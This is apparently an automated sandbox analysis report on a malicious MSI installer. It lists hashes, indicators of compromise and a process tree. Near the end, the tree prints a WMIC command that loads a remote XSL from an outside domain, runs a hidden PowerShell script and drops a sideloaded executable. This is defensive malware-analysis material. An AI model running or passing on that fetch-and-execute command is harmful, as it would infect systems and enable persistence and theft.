Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
13-10-2021 09:49
Static task
static1
Behavioral task
behavioral1
Sample
test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Resource
win10-en-20210920
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
test/0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Resource
win10-en-20210920
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win10-en-20210920
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
test/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10-en-20210920
windows10_x64
0 signatures
0 seconds
Behavioral task
behavioral5
Sample
test/fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win10-en-20210920
windows10_x64
0 signatures
0 seconds
General
-
Target
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
-
Size
277KB
-
MD5
91b5db3c0ccbd68bd04c24571e27f99d
-
SHA1
b01cb4fe38315d41fcbe9c6278ebe4574496ab0d
-
SHA256
ec85138598c57c6a6bdb5ed470614f582d3b5a8c6b243eb2f41b9970ea13d130
-
SHA512
9f0b07f961625fcc06ee64fcfe5e35e0d40db81f75c3cbc584434c1925fac241db69cac3c1a1bf329d965a4df9bdaa53c13bb8ea3206e2c9d4facf7f74ba21b7
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 9 1160 MsiExec.exe 18 3944 WMIC.exe 20 3708 MsiExec.exe 21 1544 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 364 lcCB11.tmp 1560 nvsmartmaxapp.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nvsmartmaxapp.lnk powershell.exe -
Loads dropped DLL 7 IoCs
pid Process 3708 MsiExec.exe 3708 MsiExec.exe 3708 MsiExec.exe 3708 MsiExec.exe 1560 nvsmartmaxapp.exe 3860 wmplayer.exe 3860 wmplayer.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\X: msiexec.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 30 ip-api.com -
Drops file in Windows directory 11 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSID4AA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICAD5.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIC4F7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIC99B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSICDD3.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{B7E63CAC-805B-4255-A63C-38D579B3EEAB} msiexec.exe File created C:\Windows\Installer\f75b779.msi msiexec.exe File opened for modification C:\Windows\Installer\f75b779.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 552 3860 WerFault.exe 82 -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1604 msiexec.exe 1604 msiexec.exe 1544 powershell.exe 1544 powershell.exe 1544 powershell.exe 1544 powershell.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 552 WerFault.exe 3860 wmplayer.exe 3860 wmplayer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1776 msiexec.exe Token: SeIncreaseQuotaPrivilege 1776 msiexec.exe Token: SeSecurityPrivilege 1604 msiexec.exe Token: SeCreateTokenPrivilege 1776 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1776 msiexec.exe Token: SeLockMemoryPrivilege 1776 msiexec.exe Token: SeIncreaseQuotaPrivilege 1776 msiexec.exe Token: SeMachineAccountPrivilege 1776 msiexec.exe Token: SeTcbPrivilege 1776 msiexec.exe Token: SeSecurityPrivilege 1776 msiexec.exe Token: SeTakeOwnershipPrivilege 1776 msiexec.exe Token: SeLoadDriverPrivilege 1776 msiexec.exe Token: SeSystemProfilePrivilege 1776 msiexec.exe Token: SeSystemtimePrivilege 1776 msiexec.exe Token: SeProfSingleProcessPrivilege 1776 msiexec.exe Token: SeIncBasePriorityPrivilege 1776 msiexec.exe Token: SeCreatePagefilePrivilege 1776 msiexec.exe Token: SeCreatePermanentPrivilege 1776 msiexec.exe Token: SeBackupPrivilege 1776 msiexec.exe Token: SeRestorePrivilege 1776 msiexec.exe Token: SeShutdownPrivilege 1776 msiexec.exe Token: SeDebugPrivilege 1776 msiexec.exe Token: SeAuditPrivilege 1776 msiexec.exe Token: SeSystemEnvironmentPrivilege 1776 msiexec.exe Token: SeChangeNotifyPrivilege 1776 msiexec.exe Token: SeRemoteShutdownPrivilege 1776 msiexec.exe Token: SeUndockPrivilege 1776 msiexec.exe Token: SeSyncAgentPrivilege 1776 msiexec.exe Token: SeEnableDelegationPrivilege 1776 msiexec.exe Token: SeManageVolumePrivilege 1776 msiexec.exe Token: SeImpersonatePrivilege 1776 msiexec.exe Token: SeCreateGlobalPrivilege 1776 msiexec.exe Token: SeRestorePrivilege 1604 msiexec.exe Token: SeTakeOwnershipPrivilege 1604 msiexec.exe Token: SeRestorePrivilege 1604 msiexec.exe Token: SeTakeOwnershipPrivilege 1604 msiexec.exe Token: SeIncreaseQuotaPrivilege 3944 WMIC.exe Token: SeSecurityPrivilege 3944 WMIC.exe Token: SeTakeOwnershipPrivilege 3944 WMIC.exe Token: SeLoadDriverPrivilege 3944 WMIC.exe Token: SeSystemProfilePrivilege 3944 WMIC.exe Token: SeSystemtimePrivilege 3944 WMIC.exe Token: SeProfSingleProcessPrivilege 3944 WMIC.exe Token: SeIncBasePriorityPrivilege 3944 WMIC.exe Token: SeCreatePagefilePrivilege 3944 WMIC.exe Token: SeBackupPrivilege 3944 WMIC.exe Token: SeRestorePrivilege 3944 WMIC.exe Token: SeShutdownPrivilege 3944 WMIC.exe Token: SeDebugPrivilege 3944 WMIC.exe Token: SeSystemEnvironmentPrivilege 3944 WMIC.exe Token: SeRemoteShutdownPrivilege 3944 WMIC.exe Token: SeUndockPrivilege 3944 WMIC.exe Token: SeManageVolumePrivilege 3944 WMIC.exe Token: 33 3944 WMIC.exe Token: 34 3944 WMIC.exe Token: 35 3944 WMIC.exe Token: 36 3944 WMIC.exe Token: SeIncreaseQuotaPrivilege 3944 WMIC.exe Token: SeSecurityPrivilege 3944 WMIC.exe Token: SeTakeOwnershipPrivilege 3944 WMIC.exe Token: SeLoadDriverPrivilege 3944 WMIC.exe Token: SeSystemProfilePrivilege 3944 WMIC.exe Token: SeSystemtimePrivilege 3944 WMIC.exe Token: SeProfSingleProcessPrivilege 3944 WMIC.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1776 msiexec.exe 1776 msiexec.exe -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 1604 wrote to memory of 1160 1604 msiexec.exe 72 PID 1604 wrote to memory of 1160 1604 msiexec.exe 72 PID 1160 wrote to memory of 3944 1160 MsiExec.exe 73 PID 1160 wrote to memory of 3944 1160 MsiExec.exe 73 PID 1604 wrote to memory of 3708 1604 msiexec.exe 75 PID 1604 wrote to memory of 3708 1604 msiexec.exe 75 PID 1604 wrote to memory of 3708 1604 msiexec.exe 75 PID 3708 wrote to memory of 364 3708 MsiExec.exe 76 PID 3708 wrote to memory of 364 3708 MsiExec.exe 76 PID 3708 wrote to memory of 364 3708 MsiExec.exe 76 PID 3944 wrote to memory of 1544 3944 WMIC.exe 78 PID 3944 wrote to memory of 1544 3944 WMIC.exe 78 PID 1544 wrote to memory of 1560 1544 powershell.exe 81 PID 1544 wrote to memory of 1560 1544 powershell.exe 81 PID 1544 wrote to memory of 1560 1544 powershell.exe 81 PID 1560 wrote to memory of 3860 1560 nvsmartmaxapp.exe 82 PID 1560 wrote to memory of 3860 1560 nvsmartmaxapp.exe 82 PID 1560 wrote to memory of 3860 1560 nvsmartmaxapp.exe 82 PID 1560 wrote to memory of 3860 1560 nvsmartmaxapp.exe 82
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\test\91B5DB3C0CCBD68BD04C24571E27F99D.msi1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1776
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding DFDAF55F4EC0517E0D5AFAC42616DCF52⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Windows\System32\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"3⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden4⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Users\Admin\AppData\Roaming\JGhxpZnID\nvsmartmaxapp.exe"C:\Users\Admin\AppData\Roaming\JGhxpZnID\nvsmartmaxapp.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"6⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:3860 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3860 -s 7007⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
PID:552
-
-
-
-
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 128FB716D6AC8ED1CFD0FE27055600DF2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3708 -
C:\Users\Admin\AppData\Local\Temp\lcCB11.tmp"C:\Users\Admin\AppData\Local\Temp\lcCB11.tmp"3⤵
- Executes dropped EXE
PID:364
-
-